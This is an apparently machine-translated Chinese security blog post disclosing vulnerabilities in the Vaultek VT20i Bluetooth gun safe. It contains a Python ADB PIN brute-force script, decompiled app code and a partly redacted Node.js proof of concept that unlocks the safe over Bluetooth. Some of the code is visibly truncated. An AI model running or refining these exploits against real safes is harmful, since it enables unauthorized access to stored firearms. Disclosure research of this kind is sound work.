在这篇博文中,我们将详细介绍BlueSteal,或者在Vaultek VT20i中利用多个安全失败的能力。这些漏洞突出表明需要在产品制造过程早期包含安全审计。这些漏洞包括CVE-2017-17435和CVE-2017-17436。VT20i是一款非常受欢迎的产品,专为枪支的安全储存而设计,也是亚马逊的几个畅销产品之一。我们欣赏保险箱的形式和适合性,因为它是我们与之互动的保险箱之一。我们证明了可以通过传输特殊格式的蓝牙消息来解锁我们拥有的Vaultek VT20i枪支保险箱。
我们将深入挖掘所有这些漏洞的细节,以及我们如何在下面找到它们。
第一步是获取Android APK与保险柜进行交互。这个APK可以在这里找到:https: //apkpure.com/vaultek/com.youhone.vaultek。我们使用的版本是v2.0.1。APK的作者似乎是一个名叫Youhone的中国公司。打开应用程序后,最初有一个连接到保险柜的视图,并使用PIN码进行配对。
只是碰巧,这是用来解锁保险箱的相同PIN码。成功配对后,我们可以使用应用程序执行诸如解锁保险箱之类的命令。
我们立即检查是否可以成功进行暴力攻击。引脚长度只有4-8位数字,数值1-5可用。由于这个相对较小的密钥空间,我们可以很容易地编写一个利用ADB操纵制造商应用程序的强力攻击。在攻击者最好的情况下,一个4个字符的PIN码,搜索空间是一个合理的5 4。这需要大约72分钟,每次保守7秒。
下面我们有一个快速和肮脏的Python脚本,它是通过ADB和输入顺序组合键与手机进行交互的。当脚本迭代到正确的密码和开门指令时,保险箱将弹出。
import os
import itertools
import time
for combination in itertools.product(xrange(1,6),repeat=4):
print ''.join(map(str,combination))
os.system("adb shell input touchscreen tap 600 600")
time.sleep(5)
os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"')
time.sleep(1)
os.system("adb shell input touchscreen tap 500 1100")
time.sleep(1)
os.system("adb shell input touchscreen tap 850 770")
如果应用程序或安全机制针对不正确的重试超时,或者强制执行最大重试限制,则可能会阻止或减轻此漏洞。
我们很想笑,但是我们想要访问这个安全而不依靠暴力。
Vaultek APK负责配对和解锁保险柜。有两种方法来理解其功能:
用于在安全和应用程序之间进行通信的协议是Bluetooth Low Energy,这是一些额外阅读的链接。
https://devzone.nordicsemi.com/tutorials/17/
我们最初使用Ubertooth来嗅探手机和保险箱之间的流量,将捕获记录到磁盘。
https://github.com/greatscottgadgets/ubertooth
在检查数据包捕获之后,显然没有使用AES 256加密。写命令正在以明文形式进行。
既然是这样的话,那么使用内置于蓝牙HCI日志中的Android就简单多了。这里是一个关于如何利用这个功能的好文章。
这里是一个Android捕获的链接,展示了对话。
在数据包捕获中,我们可以清楚地看到蓝牙低功耗GATT对话开始的位置。 看来,APK向0xB句柄发出单个写入请求。这是为了启用通知。然后再与0xA处理进行冗长的交换。
现在,让我们回到APK,看看这些数据有效载荷代表什么。
在并行路径上,我们使用apktool和dex2jar从APK中提取类文件。Luyten是Procyon反编译器的GUI,用于检查反编译的代码。
一个看起来特别有趣的类是OrderUtilsVT20。除此之外这个类包含命令有效载荷的格式化代码。还有与各种类型的命令有关的“魔术”常量。
static {
OrderUtilsVT20.PASSWORD = "12345678";
OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };
}
不幸的是,这些值不会直接显示在数据包捕获中。经过更多的调查,我们发现这是因为应用程序和安全性正在执行奇数编码例程来打包和变形有效载荷数据。APK还会将编码的有效负载分解为20个字节的长度块。这与在数据包捕获中观察到的格式相匹配。
编码功能如下:
if (!StringUtil.isVT20(s)) {}
s = (String)(Object)new byte[array.length * 2 + 2];
s[0] = true;
s[s.length - 1] = -1;
for (int i = 0; i < array.length; ++i) {
final byte b = array[i];
final byte b2 = array[i];
s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
}
Label_0220: {
if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
int length = s.length;
int n = 0;
while (true) {
Label_0185: {
if (length > 20) {
break Label_0185;
}
array = new byte[length];
System.arraycopy(s, n * 20, array, 0, length);
int i = 0;
Label_0173_Outer:
while (true) {
this.SendData(array);
++n;
while (true) {
try {
Thread.sleep(10L);
length = i;
if (i == 0) {
this.processNextSend();
return;
}
break;
array = new byte[20];
System.arraycopy(s, n * 20, array, 0, 20);
i = length - 20;
continue Label_0173_Outer;
发现这个之后,翻转编码过程相对简单,我们的解码功能如下。
function decodePayload(payload){
var res = new Array();
for(var i=1;i
将这个解码函数应用到捕获的有效载荷后,就很容易识别应用程序传送到保险箱的命令。这是我们观察到的对话。
这个对话中最有趣的两个命令是 getAuthor和 openDoor。
这是负责格式化getAuthor命令的代码 。
public static byte[] getAuthor(final String password) {
if (password == null || password.length() <= 0) {
return null;
}
System.out.println("获取授权码 " + password);
setPASSWORD(password);
(OrderUtilsPro.data = new byte[24])[0] = -46;
OrderUtilsPro.data[1] = -61;
OrderUtilsPro.data[2] = -76;
OrderUtilsPro.data[3] = -91;
setTime();
OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
setRandom();
setDateLength(4);
CRC();
setPassWord();
return OrderUtilsPro.data;
}
我们可以看到有一个
setPassWord
的调用,它将填充的pin码放在
getAuthor
包的末尾。
public static void setPASSWORD(final String s) {
String password = s;
Label_0062: {
switch (s.length()) {
default: {}
case 4: {
password = "0000" + s;
break Label_0062;
}
case 7: {
password = "0" + s;
break Label_0062;
}
case 6: {
password = "00" + s;
break Label_0062;
}
case 5: {
password = "000" + s;
}
case 8: {
OrderUtilsPro.PASSWORD = password;
}
}
}
}
public static void setPassWord() {
for (int i = 0; i < 8; i += 2) {
OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
}
}
getAuthor命令的结构如下所示:
这是很麻烦的,因为APK在解锁过程中没有加密地传输编程的PIN码。这揭示了我们的第二个漏洞,以明文方式传输PIN码。
它也打我们, getAuthor是短期的 getAuthorization。深入研究这个信息,我们得到了上表中所示的结构。值得注意的是,结构末尾的PIN码实际上是在getAuthor命令中以明文形式传输的。这就把我们带到了最后的漏洞,安全不检查在getAuthor包中传输的PIN码,并且不管在现场是什么,都会用适当的授权令牌来回复。
安全对getAuthor命令的响应包含位于前4个字节的授权代码或令牌。我们花了一些时间才弄清楚这个返回消息是openDoor消息的必要组件。因此,我们所需要做的就是获得openDoor命令的授权码,以便解锁保险箱。
我们可以看 com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20。
switch (this.param) {
default: {}
case 41001: {
System.out.println("获取授权码VT");
this.author[0] = array[0];
this.author[1] = array[1];
this.author[2] = array[2];
this.author[3] = array[3];
}
在使用认证码填写前4个字节后, openDoor命令具有以下格式。
最后,打开保险柜的最低限度必要的谈话只是:
这里是一个用于打开保险箱的概念代码的编辑证明。下面的脚本本身不能在没有任何工作的情况下打开保险箱。
/*
Usage:
npm install noble
npm install split-buffer
node unlock.js
*/
var noble = require('noble');
var split = require('split-buffer');
var rawData = ["ThisIsWhere","TheRAWDataWouldGo"]
function d2h(d) {
var h = (+d).toString(16);
return h.length === 1 ? '0' + h : h;
}
function decodePayload(payload){
var res = new Array();
for(var i=1;i>4)+97;
tmpC = (payload[i]&0xF)+97;
res.push(tmpB);
res.push(tmpC);
}
res.push(0xff);
return res;
}
function CRC(target){
var tmp = 0;
for(var i=0;i<16;i=i+1){
tmp += target[i] & 0xFF
}
var carray = new Array();
carray.push(tmp&0xFF);
carray.push((tmp&0xFF00)>>8);
carray.push((tmp&0xFF0000)>>16);
carray.push((tmp&0xFF000000)>>24);
target[16] = carray.shift();
target[17] = carray.shift();
target[18] = carray.shift();
target[19] = carray.shift();
}
function scan(state){
if (state === 'poweredOn') { // if the radio's on, scan for this service
noble.startScanning();
console.log("[+] Started scanning");
} else { // if the radio's off, let the user know:
noble.stopScanning();
console.log("[+] Is Bluetooth on?");
}
}
var mcount = 0;
function findMe (peripheral) {
console.log('Discovered ' + peripheral.advertisement.localName);
if (String(peripheral.advertisement.localName).includes("VAULTEK")){
console.log('[+] Found '+peripheral.advertisement.localName)
}
else{
return;
}
noble.stopScanning();
peripheral.connect(function(error) {
console.log('[+] Connected to peripheral: ' + peripheral.uuid);
peripheral.discoverServices(['0e2d8b6d8b5e91d5b3706f0a1bc57ab3'],function(error, services) {
targetService = services[0];
targetService.discoverCharacteristics(['ffe1'], function(error, characteristics) {
// got our characteristic
targetCharacteristic = characteristics[0];
targetCharacteristic.subscribe(function(error){});
targetCharacteristic.discoverDescriptors(function(error, descriptors){
// write 0x01 to the descriptor
console.log('[+] Writing 0x01 to descriptor');
var descB = new Buffer('01','hex');
descriptor = descriptors[0];
descriptor.writeValue(descB,function(error){});
console.log('[+] Fetching authorization code');
message = split(Buffer.from(rawData.shift(),'hex'),20);
for(j in message){
targetCharacteristic.write(message[j],true,function(error) {});
}
});
targetCharacteristic.on('data', function(data, isNotification){
if(mcount==1)
{
process.exit()
}
mcount = mcount + 1;
data = decodePayload(data);
message = new Buffer.from(rawData.shift(),'hex');
message = decodePayload(message);
message[0] = data[0];
message[1] = data[1];
message[2] = data[2];
message[3] = data[3];
console.log("[+] Obtained Auth Code:");
console.log(d2h(data[0])+' '+d2h(data[1])+' '+d2h(data[2])+' '+d2h(data[3]));
CRC(message);
message = encodePayload(message)
message = new Buffer(message);
message = split(message,20);
console.log("[+] Unlocking Safe");
for(j in message){
targetCharacteristic.write(message[j],true,function(error) {});
}
return;
});
});
});
});
return;
}
noble.on('stateChange', scan); // when the BT radio turns on, start scanning
noble.on('discover', findMe);
这个脚本执行的步骤是:
后来我们学习了getAuthor命令中的唯一字段, 即硬编码的魔术字节和CRC值。
这意味着 具有pincode值的 getAuthor命令可以返回可以打开保险箱的授权码。
更好的是, openDoor 命令只检查授权码,魔术值和CRC。
总结一下
我们已经在多个Vaultek VT20i保险箱上测试和验证了这个功能。非常好的学习范本,大家可以到亚马逊买一台回家试试。